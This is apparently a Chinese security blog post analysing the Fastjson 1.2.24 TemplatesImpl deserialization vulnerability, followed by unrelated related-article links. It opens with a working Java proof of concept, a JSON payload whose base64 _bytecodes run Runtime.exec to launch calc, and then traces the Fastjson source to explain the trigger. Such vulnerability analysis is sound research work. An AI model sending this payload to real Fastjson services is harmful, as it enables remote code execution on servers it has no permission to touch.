构造恶意类

package org.example.fastjson.TemplatesImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Test {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}

这里要说一下Feature.SupportNonPublicField属性,在没有Feature.SupportNonPublicField这个属性时,setter和getter以及相关属性为public的情况下,反序列化数据才能后触发setter或者getter导致的命令执行。但是如果我们的属性或者setter以及getter方法是private呢
Feature.SupportNonPublicField参数解决以上private的属性和setter没办法控制private属性的问题

目标后端程序进行反序列化解析的时候必须有如下条件,才能触发。JSON.parseObject(input,Object.class, Feature.SupportNonPublicField);
JSON.parse(input,Feature.SupportNonPublicField)

Object.class是因为parseObject如果不传入Object.class则会返回fastjson.JSONObject,无法将传入的类进行转换。
Feature.SupportNonPublicField参数是为了能够控制目标类的私有属性。例如:_bytecodes用来存恶意字节码的。

Fastjson TemplatesImpl链 反序列化漏洞分析
从parseObject函数开始:

    public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);}public static <T> T parseObject(String input, Type clazz, ParserConfig config, int featureValues, Feature... features) {return parseObject(input, clazz, config, (ParseProcess)null, featureValues, features);}

这里有几个参数传入,并直接调用了parseObject的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据,这里即是我们的payload数据。
clazz为指定的对象,这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。

实例化了一个DefaultJSONParser,并调用parseObject方法,跟踪parseObject

来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class,type不等于
Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。

这里将this.lexer的值,赋值给lexer,而这个this.lexer是在实例化DefaultJSONParser对象的时候被赋值的。在全参构造方法中我们可以看到,如下:

调用lexer.getCurrent(),获取到是ch中数据如果为{就将lexer.token设置为12,如果为[设置 lexer.token设置为14。
接下来会走到case 12:这里,

调用this.parseObject继续跟踪

在parseObject函数中的调用lexer.scanSymbol方法,这附近的逻辑是这个方法里面会一个一个 字符循环获取双引号后面的内容(@type),感兴趣的可以自行跟进,这里就不截图了
接着往下走到274行

判断key是否等于@type,等于则获取@type中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。这里就很清楚了,已经把类名传入,准备获取对象了
下面走到这段代码

跟进 this.config.getDeserializer后会发现,在构造方法中会调用build()函数,
接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build


在通过@type获取类之后,通过反射拿到该类所有的方法存入methods
接下来遍历methods进而获取get、set方法(循环遍历get,set方法)

set的查找方式:
方法名长度大于4
非静态方法
返回值为void或当前类
方法名以set开头
参数个数为1get的查找方式:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
这样一来就获取到了TemplatesImpl的getOutputProperties()

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪,到parseField方法

跟进

smartMatch函数会替换_字符为空

执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步

这里会循环调用我们传入的参数,也就是传入的get方法,去设置值,进行反射调用执行TemplatesImpl的getOutputProperties()方法后会调用出我们的代码,也就是弹出计算机

进行反射调用执行TemplatesImpl的getOutputProperties()方法。反序列化是调用了对我们有利用类的get方法。

在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes为什么需要进行base64编码的问题

在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodeBase64进行base64解密

这里还有payload没有分析,等后续了解了cc利用链再回来补这个坑

参考:
https://reader-l.github.io/2021/04/17/FastJason-1-2-22-1-2-24-TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0

fastjson1.2.24TemplatesImpl利用链源码分析相关推荐

  1. bitcoin区块链源码分析(一)网络发现

    bitcoin节点在接收peer发过来的块的处理流程 //所有全局变量 //CConnman 的一个关键属性m_msgproc: 如果本地没有peer.dat,  由第一线程CConnman::Thr ...

  2. 区块链源码分析-flag

    如何建立测试环境 各种公钥和密钥格式 交易 区块 挖矿 P2P网络

  3. Spring AOP 源码分析 - 拦截器链的执行过程

    1.简介 本篇文章是 AOP 源码分析系列文章的最后一篇文章,在前面的两篇文章中,我分别介绍了 Spring AOP 是如何为目标 bean 筛选合适的通知器,以及如何创建代理对象的过程.现在我们的得 ...

  4. 【Zookeeper】源码分析之请求处理链(四)之FinalRequestProcessor

    一.前言 前面分析了SyncReqeustProcessor,接着分析请求处理链中最后的一个处理器FinalRequestProcessor. 二.FinalRequestProcessor源码分析 ...

  5. Spring事务源码分析责任链事务链事务不生效

    文章目录 前言 带着问题分析源码 事务源码分析 寻找Spring事务源码类 TransactionInterceptor调用栈 分析Spring AOP责任链 分析TransactionInterce ...

  6. php区块链以太坊,兄弟连区块链教程以太坊源码分析CMD深入分析(一)

    兄弟连区块链教程以太坊源码分析CMD深入分析. cmd包分析 cmd下面总共有13个子包,除了util包之外,每个子包都有一个主函数,每个主函数的init方法中都定义了该主函数支持的命令,如 geth ...

  7. Golang|区块链UTXO集源码分析

    区块链UTXO集源码分析 资源 go实现区块链 前提 在未实现UTXO集之前,假设系统需要查询某个钱包地址的余额,系统需要遍历区块链的所有区块,当区块链非常长时,这种做法的成本太高了. UTXO集是未 ...

  8. cl.zk0.info/index.php,兄弟连区块链入门到精通教程btcpool矿池源码分析环境搭建

    原标题:兄弟连区块链入门到精通教程btcpool矿池源码分析环境搭建 btcpool矿池-测试环境搭建及使用cgminer测试 本文档基于Ubuntu 16.04 LTS, 64 Bits. 安装Bi ...

  9. 基于比原链开发Dapp(四)-bufferserver源码分析

    ##简介 ​    本章内容主要直接分析bufferserver源码,也就是比原链官方Dapp-demo的后端接口,里面包含了UTXO的托管逻辑.账单逻辑等,还会介绍一些改进的源码内容. [储蓄分红合 ...

最新文章

  1. Visual Studio 快捷键 转载
  2. Mysql---Centos7软件安装
  3. leetcode算法题--搜索旋转排序数组
  4. java中数据库连接池_Java中的数据库连接池
  5. 自己写的sqlHelper 以及读取配置文件
  6. 认识与设计Serverless(二)
  7. SCI/EI期刊投稿 Reply Letter 常用格式总结
  8. Everything是如何搜索的
  9. rh php70 php fpm,mac 通过brew安装php70 +php-fpm+ phalcon3.0.3
  10. dbUtils 原理
  11. java第七章jdbc课后简答题_java学习路线流程
  12. 关于坑爹的编解码问题
  13. [裴礼文数学分析中的典型问题与方法习题参考解答]4.5.5
  14. MATLAB信号处理---学习小案例(2)---采样定理
  15. python contains 正则_Python 正则表达式
  16. 数据库 | MitoPhen 数据库:基于人体表型进行线粒体 DNA 疾病诊断
  17. 树形DP--bzoj4987: Tree
  18. word文档字不靠边_word怎么调整单元格文字边距表格文字紧靠边框怎么办
  19. 30分钟简易复刻元气骑士地图生成系统
  20. 基于Quick-cocos2d-x 2.2.3 的动态更新实现

热门文章

  1. 关闭烦人的Windows XP系统哔哔声
  2. 那些年我们在python掉进的坑系列之一pandas的to_sql
  3. 18.导数的几何意义
  4. 【重点】React.Component用法
  5. 已加载插件:fastestmirror Loading mirror speeds from cached hostfile There are no enabled repos. Run “yum
  6. Debian个人使用入门
  7. c语言程序 蟠桃记,蟠桃记
  8. 视频批量截取方法,怎样同时对多个视频的一部分进行截取?
  9. LoadRunner的组成
  10. 国泰煤炭运销管理系统